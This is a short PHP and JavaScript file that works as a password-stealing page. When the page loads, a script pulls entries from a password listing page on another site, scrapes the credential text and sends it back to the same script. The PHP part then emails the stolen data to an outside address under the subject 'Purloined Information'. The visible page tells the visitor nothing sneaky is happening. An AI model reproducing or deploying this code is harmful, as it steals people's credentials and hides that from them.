<?PHP
if (array_key_exists("cmd",$_REQUEST))
{
		$qs=$_SERVER["QUERY_STRING"];
		$to="phadley@authentrus.com";
		$subject="Purloined Information";
		$msg=$qs;
		if(mail($to,$subject,$msg))
			echo "good mail to $to for $msg";
		else
			echo "bad mail for $msg";
		die("We did have a command.");
}
else
{
?>
<html><head>
<script type=text/javascript>
function grabbit()
{
	var req=new XMLHttpRequest();
	var rreq=new XMLHttpRequest();
	var uribase="https://www.instigations.com/pioi/passwords.php";
	var uri=uribase;
	var ii;
	var iid;
	req.open("GET",uri,false);
	req.send(null);
	if (req.status == 200)
	{
		var resp=req.responseText;
		while((ii=resp.indexOf("&iid=")) > 0)
		{
			ii+=5;
			resp=resp.substr(ii);
			ii=resp.indexOf(">");
			iid=resp.substr(0,ii);
			rreq.open("GET",uribase+"?dsp=ps&iid="+iid,false);
			rreq.send(null);
			if (rreq.status == 200)
			{
				rresp=rreq.responseText;
				ii=rresp.indexOf("For your location");
				rresp=rresp.substr(ii);
				ii=rresp.indexOf("<HR>");
				uri="passwordgrabber.php?cmd="+rresp.substr(0,ii);
				rreq.open("GET",uri,false);
				rreq.send(null);
				if (rreq.status != 200)
				{
					return;
				}
			}
		}
	}
}
</script>
</head><body onload="grabbit();">
<P>Don't panic.  We are not doing anything sneaky.<P>
</body></html>
<?PHP
}
?>